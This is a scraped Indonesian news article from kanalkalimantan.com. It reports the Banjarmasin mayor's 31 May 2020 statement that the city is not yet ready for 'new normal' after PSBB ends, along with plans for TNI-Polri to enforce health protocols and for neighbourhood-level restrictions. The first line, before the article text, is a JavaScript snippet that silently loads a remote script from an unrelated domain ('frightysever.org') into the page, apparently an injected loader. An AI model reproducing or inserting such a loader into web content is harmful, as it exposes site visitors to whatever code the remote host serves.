(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Berakhirnya masa pemberlakuan Pembatasan Sosial Berskala Besar (PSBB) yang diterapkan oleh Kota Banjarmasin pada 31 Mei 2020, tidak menjadi jaminan bahwa kota seribu sungai ini langsung menerapkan new normal atau kenormalan baru.
Ini karena salah satu indikator pelaksanaan kenormalan baru adalah kondisi kurva dari kasus terkonfirmasi positif minimal harus dalam keadaan landai. Namun hal itu belum terlihat di Ibu Kota Provinsi Kalimantan Selatan itu.
“Masih ada ancaman peningkatan grafik kasus positif Covid-19, belum ada indikasi melandai. Jadi Banjarmasin belum memenuhi syarat dari Pemerintah Pusat dalam menerapkan kenormalan baru” ucap Wali Kota Banjarmasin H Ibnu Sina, Minggu (31/5/2020) sore.
Meski demikian, dia menyebut jika kondisi tanggap darurat pencegahan Covid-19 akan tetap diberlakukan setelah PSBB tahap III itu berakhir dengan tetap mewajibkan penerapan protokol kesehatan di aktivitas keseharian warga yang tinggal di Banjarmasin.
Guna mendisiplinkan warga dalam menjalankan protokol tersebut, ia mengaku, dalam waktu dekat akan membuat Surat Keputusan (SK) Wali Kota yang ditujukan kepada Dandim 1007 Banjarmasin dan Kapolresta Banjarmasin sebagai koordinator dalam menjalankan tugas pendisiplinan warga.
“Sesuai arahan Presiden RI, dalam masa ini TNI-Polri akan bertindak sebagai garda terdepan dalam penegakan disiplin protokol kesehatan dalam pencegahan Covid-19,” ujar Ibnu.
Selain itu, ia menerangkan pihaknya akan mengikuti pedoman pelaksanaan aktivitas masyarakat sesuai dengan Keputusan Menteri Kesehatan Nomor 328. Sehingga, pemberlakuan jam malam dan pos jaga di perbatasan kota akan ditiadakan.
Namun kebijakan Perwali Nomor 37 tahun 2020 itu akan dialihkan ke dalam penerapan Pembatasan Sosial Berskala Kecil (PSBK) di tingkat kelurahan, kampung maupun komplek perumahan.
“Walaupun itu tidak ada di dalam Undang Undang RI, tapi bisa mengamankan lingkungan tempat tinggal warga, sehingga tetap mempersempit ruang penularan,” pungkas dia. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.